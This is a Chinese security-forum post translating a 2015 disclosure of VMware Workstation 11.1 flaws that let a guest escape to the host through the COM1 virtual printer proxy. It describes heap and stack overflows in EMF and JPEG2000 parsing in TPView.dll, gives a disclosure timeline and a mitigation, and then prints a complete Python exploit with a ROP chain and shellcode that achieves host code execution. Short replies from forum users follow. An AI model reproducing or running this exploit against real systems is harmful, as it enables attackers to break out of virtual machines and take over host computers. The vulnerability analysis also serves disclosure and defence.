查看: 29107|回复: 176

通过COM1实现VMware Workstation逃逸

[复制链接]
  • TA的每日心情

    昨天 20:03
  • 签到天数: 1626 天

    [LV.Master]伴坛终老

    发表于 2015-6-10 23:48:17 | 显示全部楼层 |阅读模式
    t01ab86734025f01074.jpg

    综述

    VMware Workstation提供打印机“虚拟化”功能,在打印机上,允许一Guest系统访问并打印文档(方便了Host系统)。在VMware Workstation 11.1上,虚拟打印机设备默认添加到新VMs,且在最近的 Windows Hosts上,Microsoft XPS Document Writer作为一默认打印机。即使VMware Tools没被安装在Guest中,COM1端口也可以被用于与Host的打印Proxy交互。

    在Host上通过vmware-vmx.exe启动vprintproxy.exe(用户开启VMware)。vmware-vmx.exe 和 vprintproxy.exe通过命名管道进行通信。当在Guest中写到COM1时,报文将止于vprintproxy.exe以进行处理。

    我将不介绍完协议的细节,但是打印机的虚拟化层是一很棒的文件(从Guest到Host进行EMFSPOOL文件的复制操作)。EMFSPOOL和含有的EMF1文件在Host上通过vprintproxy.exe进行处理,这都归因于Host上TPView.dll的存在。将特定设计的EMFSPOOL和EMF files提供给COM1,该过程中可在vprintproxy.exe进程的触发多种bug,并在Host上实现代码执行

    适用环境

    该文档描述的内容都在该环境进行:Host方是一amd64 Windows 8.1,Guest方是一x86 的Windows 7(在VMware Workstation 11.1下运行),装上了所有补丁。

    提供的所有利用程序在该独有环境都能正常工作。

    处理自定义EMR时导致整数下溢

    在TPView.dll中的CTPViewDoc::WriteEMF 函数预处理一EMF并重写它,被替换为几个自定义EMR记录类型。在0x8000和0x8002的 EMR案例中,程序将分配内存(基于特定记录的大小),然后复制记录的8字节,大小减去8并从文件中读进已动态分配的buffer(总字节数)

    因为一EMR记录大小严肃来说应该小于8,做减法处理将发生下溢并导致堆溢出。

    t01b58b4167b1bdc375.png

    t01cab9b77d6675c94f.png

    t019d7834364dc88ff2.png

    这小段代码不能确保记录的大小(至少8)。在(1)上发生整数下溢将使程序将大量字节读进一小buffer,导致堆溢出。

    一部分看似有弱点的代码处理自定义EMR 0x8000.

    处理自定义EMR 0x8002时存在多个弱点

    在自定义EMR 记录0x8002案例中,TPView.dll盲目相信相关结构体的大小和偏移并进行了不安全的memcpy()操作。

    t013ce01948fe96791d.png

    这里,esi和ebx的内容都 由用户控制,并与一自定义0x8002 EMR结构体的内容相对应。为ebx分配的内存大小(至少0x50)没有被检查。这构成了导致堆溢出发生的条件,也导致相对内存地址覆盖的发生

    当处理自定义EMR0x8000时,存在多个弱点

    自定义EMR 0x8000持有一结构体(描述一被压缩镜像的JPEG2000)。在计算一动态分配的内存块大小时,存在多个整型溢出问题,使之满足了导致堆溢出的条件

    t01dc6f26ddeb912b73.png

    该程序进行了不安全的32位逻辑操作,导致在memcpy()操作前进行了一无效的大小检查,从而导致堆溢出。由于前一次逻辑操作,内存检查分配的大小是其本身(易于重叠),如下附加内容也可能重叠32位整数:

    t016afb1279f160b961.png

    在处理一JPEG2000链接库时发生栈溢出

    该弱点显然很像CVE-2012-0897 ,且相同JPEG2000库被使用于两种不同案例是再好不过的事,但是TPView.dll未打补丁的情况已持续了多年。总之,在处理记录0xff5c时,某用户在某函数中可触发基于栈的缓冲区溢出弱点(没有stack cookie保护),导致可直接控制EIP。

    t01ea2fd3a15d00108c.png

    这里,当目标buffer仅持有至多0xc4字节时,JPEG2000解析器将仅读取0x55fc(记录允许其)大小的字。

    在EMF记录枚举回调中存在多个弱点

    CEMF::EnhMetaFileProc 函数在TPView.dll被使用为一EnumEnhMetaFile  回调,并在对它们进行“playing”操作前将一些特定处理操作应用于多种不同的EMR类型。那些记录都缺少检查从而导致多个越界读或写操作弱点。

    t0153b977fc5d923fc1.png

    如上所示:

    传送操作前,在结构体区域,EMR_SMALLTEXTOUT的记录长度(至少0x34)没有被检查。

    t01e007e67aa9dd4dac.png

    这里因为一EMR_EXTTEXTOUTW记录存在相同的问题。

    在EMFSPOOL文件中提取一种TrueType字体时, TPView.dll将会检验字体的校验和(在进行更多处理前)。这样做,将遍历多个表,清空表末尾的缓冲并校验表的校验和。在这情况下,将信任表记录的‘offset’区域并将其添加到一字体buffer指针。因为32位逻辑段重叠,所以没有什么可以阻止我们的解引用及将内存清零(字体前)的操作

    t01871b94af0e7a7641.png

    以上检查可用一“negative”偏移绕过,导致结果如下:

    t018dfdae82e672e475.png

    结果,只要它被定位前,在任意字体buffer的相对位置上都可能将1清零为3字节(缓冲大小)

    额外安全问题

    当在一64位平台上运行时,vprintproxy.exe只是作为一32位进程来运行。在vprintproxy.exe内不支持ASLR机制的加载模块有:

    iconv.dll

    TPClnt.dll

    TPClntloc.dll

    TPClnVM.dll

    TPView.dll

    因为以上DLLs共享相同的镜像基地址(0x10000000),只是iconv,dll(首个被加载)将被定位于他的地址上。其它DLLs基地址将被随机化,因为它们的初始加载地址难以获得。

    同时JPEG2000在一try-catch内(捕获所有异常)完成解析。这将允许攻击者用他的方法强行利用成功,因为vprintproxy.exe将持续存活甚至是access violation也不崩掉

    缓解方案

    让虚拟打印机“Disconnect”,或在VM设置中将它完全移除,这行为可让vprintproxy.exe停止运行

    时间轴

    3/5/2015: initial report sent to security@vmware.com

    3/6/2015: VMware Security Response Center acknowledges the receipt of the report

    3/12/2015: updated report sent

    3/17/2015: VSRC sends the expected timeframe for fixes to be released

    3/17/2015: updated report sent

    3/18/2015: additional bugs sent to VSRC

    4/10/2015: VMware communicates expected date for joint disclosure (6/9)

    4/21/2015: VMware assigns 5 CVEs to the issues (CVE-2015-2336 to 2340)

    6/9/2015: VMware releases Workstation 11.1.1 for Windows and VMSA-2015-0004

    利用程序

    提供的利用程序可在vprintproxy.exe进程中实现代码执行(在Host上运行),通过COM1(在Guest中)以发送一段精心制作的EMFSPOOL的方式触发JPEG2000栈溢出弱点,这种实现不需要管理员特权(在Guest中)。

    只有构造一基于iconv.dll的ROP链有难度,因为该DLL实现该目的相当不便

    利用程序适用于1.9.0.1版的iconv.dll和8.8.856.1的TPview.dll,但是因为异常被JPEG2000解析程序捕获,所以可通过多次尝试让目标(弱点程序)符合要求

    [Java] 纯文本查看 复制代码
    from ctypes import *
      from ctypes.wintypes import BYTE
      from ctypes.wintypes import WORD
      from ctypes.wintypes import DWORD
      import sys
      import struct
      import binascii
      import array
      import zlib
      
      class DCB(Structure):
          _fields_=[
              ('DCBlength',DWORD),
              ('BaudRate',DWORD),
              ('fBinary',DWORD,1),
              ('fParity',DWORD,1),
              ('fOutxCtsFlow',DWORD,1),
              ('fOutxDsrFlow',DWORD,1),
              ('fDtrControl',DWORD,2),
              ('fDsrSensitivity',DWORD,1),
              ('fTXContinueOnXoff',DWORD,1),
              ('fOutX',DWORD,1),
              ('fInX',DWORD,1),
              ('fErrorChar',DWORD,1),
              ('fNull',DWORD,1),
              ('fRtsControl',DWORD,2),
              ('fAbortOnError',DWORD,1),
              ('fDummy2',DWORD,17),
              ('wReserved',WORD),
              ('XonLim',WORD),
              ('XoffLim',WORD),
              ('ByteSize',BYTE),
              ('Parity',BYTE),
              ('StopBits',BYTE),
              ('XonChar',c_char),
              ('XoffChar',c_char),
              ('ErrorChar',c_char),
              ('EofChar',c_char),
              ('EvtChar',c_char),
              ('wReserved1',WORD),
          ]
      
      class COMMTIMEOUTS(Structure):
          _fields_=[
              ('ReadIntervalTimeout',DWORD),
                ('ReadTotalTimeoutMultiplier',DWORD),
              ('ReadTotalTimeoutConstant',DWORD),
              ('WriteTotalTimeoutMultiplier',DWORD),
              ('WriteTotalTimeoutConstant',DWORD),
          ]
      
      class TPVM:
      
          SERIAL_PORT=b'\\\\.\\COM1'
      
          def __init__(self):
              self.hPort=windll.kernel32.CreateFileA(self.SERIAL_PORT,
                                                       0xc0000000, #GENERIC_READ|GENERIC_WRITE
                                                       3, #FILE_SHARE_READ|FILE_SHARE_WRITE
                                                       None,
                                                       3, #OPEN_EXISTING
                                                       0,
                                                       None)
              if (self.hPort&0xffffffff)==0xffffffff:
                  raise Exception('the serial   port could not be opened (0x%08x)'%(GetLastError()))
              if not windll.kernel32.SetupComm(self.hPort,
                                                 0x20000,
                                                 0x84d0):
                  raise WinError()
              dcb=DCB()
              dcb.DCBlength=0x1c
              dcb.BaudRate=0x1C200
              dcb.fBinary=1
              dcb.fOutxCtsFlow=1
              dcb.fDtrControl=2
              dcb.fRtsControl=2
              dcb.ByteSize=8
              dcb.fAbortOnError=1
              windll.kernel32.SetCommState(self.hPort,
                                             byref(dcb))
              commtimeouts=COMMTIMEOUTS()
              commtimeouts.ReadIntervalTimeout=0
              commtimeouts.ReadTotalTimeoutMultiplier=0
              commtimeouts.ReadTotalTimeoutConstant=20000
              commtimeouts.WriteTotalTimeoutMultiplier=0
              commtimeouts.WriteTotalTimeoutConstant=20000
              if not windll.kernel32.SetCommTimeouts(self.hPort,
                                                       byref(commtimeouts)):
                  raise WinError()
      
          def __write_packet(self,buffer):
              bytesWritten=DWORD(0)
              if not windll.kernel32.WriteFile(self.hPort,
                                                 buffer,
                                                 len(buffer),
                                                 byref(bytesWritten),
                                                 None):
                  raise WinError()
              print('%d bytes written'%(bytesWritten.value))
      
          def __read_packet(self,n):
              buffer=c_buffer(n)
              bytesRead=DWORD(0)
              if not windll.kernel32.ReadFile(self.hPort,
                                                buffer,
                                                n,
                                                byref(bytesRead),
                                                None):
                  raise WinError()
              print('%d bytes read'%(bytesRead.value))
              return buffer.raw
      
          def __write(self,buffer):
              while len(buffer)!=0:
                  n=min(len(buffer),0x7ffd)
                  self.__write_packet(struct.pack('<H',n)+buffer[:n])
                  buffer=buffer[n:]
      
          def __read_1byte(self):
              b=self.__read_packet(1)
              if len(b)!=1:
                  return 1
              return struct.unpack('<B',b)[0]
      
          def do_command(self,cmd):
              self.__write_packet(struct.pack('<H',cmd))
              if cmd==0x8002:
                  return 0
              return self.__read_1byte()
      
          def do_data(self,d):
              self.__write(d)
              return self.__read_1byte()
      
          def close(self):
              windll.kernel32.CloseHandle(self.hPort)
      
      def main(args):
          #some constants
          PRINTER_ID=1 #should probably be an   argument really
          SHELLCODE=binascii.a2b_hex('e8000000005b8db31b010000568db313010000566a0268884e0d00e8170000006a008d832301000050ff931b0100006a00ff931f0100005589e55156578b4d0c8b75108b7d14ff36ff7508e813000000890783c70483c604e2ec5f5e5989ec5dc210005589e55356575164ff3530000000588b400c8b480c8b118b41306a028b7d085750e85b00000085c0740489d1ebe78b4118508b583c01d88b5878585001c38b4b1c8b53208b5b2401c101c201c38b32585001c66a01ff750c56e82300000085c0740883c20483c302ebe35831d2668b13c1e20201d10301595f5e5b89ec5dc208005589e551535231c931db31d28b45088a1080ca6001d3d1e30345108a0884c9e0ee31c08b4d0c39cb7401405a5b5989ec5dc20c00ea6f0000945d0300000000000000000063616c632e65786500')   #Didier Stevens' winexec/exitthread
          WRITABLE=0x1010ff00 #end of the   .idata section of iconv.dll
          BASE=0x40000000 #where we want the   virtualalloc
      
          t=TPVM()
          t.do_command(0x8001)
          #header
          t.do_data(struct.pack('<20sIIII',('%d'%(PRINTER_ID)).encode('utf-8'),2,0xd,0,0))
          #jobheader
          t.do_data(binascii.a2b_hex('310001001400150016001700180021002f0030000000000063727970746f61640050494e42414c4c57495a415244000000'))
      
          ###############
          #emf
          emf=b''
          #emr_header
          emf+=struct.pack('<II',1,0x84)
          emf+=struct.pack('<IIII',0xf1,0xf2,0x130b,0x1855)   #bounds
          emf+=struct.pack('<IIII',0,0,0x53fc,0x6cfc)   #frame
          emf+=b' EMF' #record signature
          emf+=struct.pack('<I',0x10000) #version
          emf+=struct.pack('<IIHH',0,0,0,0)   #bytes,records,handles,reserved
          emf+=struct.pack('<II',0xc,0x6c)   #ndescription,offdescription
          emf+=struct.pack('<I',0) #npalentries
          emf+=struct.pack('<II',0x13ec,0x19c8)   #device
          emf+=struct.pack('<II',0xd7,0x117)   #millimeters
          emf+=struct.pack('<III',0,0,1) #cbpixelformat,offpixelformat,bopengl
          emf+=struct.pack('<II',0x347d8,0x441d8)   #micrometersx,micrometersy
          emf+=('\0'*0xc).encode('utf-16le')
          #overflowing buffer
          o=b''
          o+=struct.pack('<I',0x1001c94c) #mov   eax,edx&retn
          o+=struct.pack('<I',0x10110284) #target   --.idata!_iob_func
          o+=struct.pack('<I',0x1001c594) #value   --pop ecx&pop ecx&retn
          o+=struct.pack('<I',0x100010b1) #mov   ebp,esp&push ecx& call ds:_iob_func
          o+=struct.pack('<I',0x1001c595) #pop   ecx&retn
          o+=struct.pack('<I',0x1001c594) #pop   ecx&pop ecx&retn
          o+=struct.pack('<I',0x1000cb5c) #dec   eax&retn
          o+=struct.pack('<I',0x10003d43) #add   [eax+1],edi&mov esp,ebp&pop ebp&retn
          o+=struct.pack('<I',0x10001116) #pop   ebp&retn
          o+=struct.pack('<I',WRITABLE-8)
          o+=struct.pack('<I',0x1001c120) #mov   eax,[ebp+8]&pop ebp&retn
          o+=struct.pack('<I',0x41414141) #
          o+=struct.pack('<I',0x100010b1) #mov   ebp,esp&push ecx& call ds:_iob_func
          o+=struct.pack('<I',0x1001c595) #pop   ecx&pop ecx&retn
          o+=struct.pack('<I',0x1001c594) #pop   ecx&pop ecx&retn
          o+=struct.pack('<I',0x1001c1fc) #mov   eax,[eax]&mov [esp],eax&retn
          o+=struct.pack('<I',0x42424242) #
          o+=struct.pack('<I',0x1001c7d6) #pop   edi&pop esi&retn
          o+=struct.pack('<I',BASE)
          o+=struct.pack('<I',0x10000)
          o+=struct.pack('<I',0x3000) #MEM_COMMIT|MEM_RESERVE
          o+=struct.pack('<I',0x40) #PAGE_READWRITE_EXECUTE
          o+=struct.pack('<I',BASE+0x10) #edi
          o+=struct.pack('<I',0x43434343) #esi   --not used
          o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
          o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
          o+=struct.pack('<I',BASE) #
          o+=struct.pack('<I',0x8b24438b) #
          o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
          o+=struct.pack('<I',BASE+4) #
          o+=struct.pack('<I',0xa4f21470) #
          o+=struct.pack('<I',0x1001c595) #pop   ecx&retn
          o+=struct.pack('<I',BASE+8) #
          o+=struct.pack('<I',0x01f3e9) #mov   eax,[ebx+0x24]&mov esi,[eax+0x14]&jmp +0x13f
          o+=struct.pack('<I',0x1000) #ecx
          o+=struct.pack('<I',BASE) #
          ###print('len(o)=0x%08x'%(len(o)))   #must be <0xc4
          o+=b'A'*(0xc4-len(o))
          o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange --first eip
          o+=struct.pack('<I',0x1001c595) #pop   ecx&retn
          o+=struct.pack('<I',WRITABLE) #target
          o+=struct.pack('<I',0x000000f4) #value   --esp offset
          o+=struct.pack('<I',WRITABLE) #writable   --edx
          o+=struct.pack('<I',0x1001c595) #pop   ecx&retn
          o+=struct.pack('<I',0x7fffffff) #
          o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
          o+=struct.pack('<I',0x1001c1e0) #__alloca_probe
          o+=struct.pack('<I',WRITABLE) #target
          o+=struct.pack('<I',0x00078c48) #.idata!VirtualAlloc-@edi
          o+=struct.pack('<I',0x1001cae4) #jmp   ds:InterlockedExchange
          while (len(o)-2)%6!=0: #padding to   satisfy length requirements
              o+=b'Z'
          #jp2 contents --the code still   parses the codestream if no valid header is present, so I skipped it
          j=b''
          j+=struct.pack('>H',0xff4f) #SOC   marker
          j+=struct.pack('>HH',0xff51,0x29)   #SIZ marker
          j+=struct.pack('>HIIIIIIII',0,1,9,0,0,1,9,0,0)
          j+=struct.pack('>HBBB',1,7,1,1)
          j+=struct.pack('>HH',0xff5c,3+len(o))   #QCD marker
          j+=struct.pack('>B',2) #sqcd
          for i in range(0,len(o),2): #switch   the endianness of the words
              j+=struct.pack('>H',(o[i+1]<<8)+o[i])
          j+=struct.pack('>H',0xffd9) #EOC   marker
          j+=b'\x90'*(0x200-len(j)) #unprocessed   data
          j+=SHELLCODE
          j+=b'\xcc'*(0x10000-len(j)) #has to   be at least 10000h long to avoid a read AV
          #custom 8000h record
          r=b''
          r+=b'A'*0x28
          r+=struct.pack('<I',0x50)
          r+=b'B'*0x1c
          r+=struct.pack('<IIII',0x43434343,0x10,0x10,0x44444444)
          r+=b'E'*0x18
          r+=j
          emf+=struct.pack('<II',0x8000,len(r)+8)+r   #type,size
          #emr_eof
          emf+=struct.pack('<IIIII',0xe,0x14,0,0x10,0x14)
          emf=emf[:0x30]+struct.pack('<IIH',len(emf),3,1)+emf[0x3a:]
          #devmode
          dm=binascii.a2b_hex('7000720069006e00740065007200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001040005dc0008040fff010001000100de0a66086400010007005802020001005802010001004c006500740074006500720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545045580f020000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010110141e000e1464000614f401060f00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005450504405000000')
          dm=b'%%EMF'+struct.pack('<BI',2,len(dm)+5)+dm
          #emf_spool
          h=struct.pack('<II',0x10,0)+'Google\0'.encode('utf-16le')+struct.pack('<HII',0xdead,0xc,len(emf))
          h=struct.pack('<II',0x10000,len(h))+h
          #emri_metafile_ext
          f=struct.pack('<IIII',0xd,8,len(emf)+8,0)   #"offset is counted backward"
          e=dm+h+emf+f
          d=zlib.compress(e,9)
          d=struct.pack('<II',len(d),len(e))+d
          d=struct.pack('<H',0)+d
          ###############
          t.do_data(d)
          t.do_command(0x8002)
          t.close()
      
      if __name__=='__main__':
          main(sys.argv)

    原文链接:https://docs.google.com/document/d/1sIYgqrytPK-CFWfqDntraA_Fwi2Ov-YBgMtl5hdrYd4/


    回复

    使用道具 举报

  • TA的每日心情
    郁闷
    2015-12-20 12:28
  • 签到天数: 15 天

    [LV.4]偶尔看看III

    发表于 2015-6-11 21:28:25 | 显示全部楼层
    卧槽,看不懂,好高端,是大牛
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-8-17 21:40
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2015-6-14 09:51:18 | 显示全部楼层
    看来。。玩win Exp不学汇编 就是白痴。。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-2-7 13:38
  • 签到天数: 124 天

    [LV.7]常住居民III

    发表于 2015-6-14 12:46:29 | 显示全部楼层
    回复

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 04:50:42 | 显示全部楼层
    加油!干倒冰儿和酒仙!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 06:18:48 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 08:06:11 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 12:19:39 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 19:34:49 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 20:03:01 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-1 21:29 , Processed in 0.032370 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部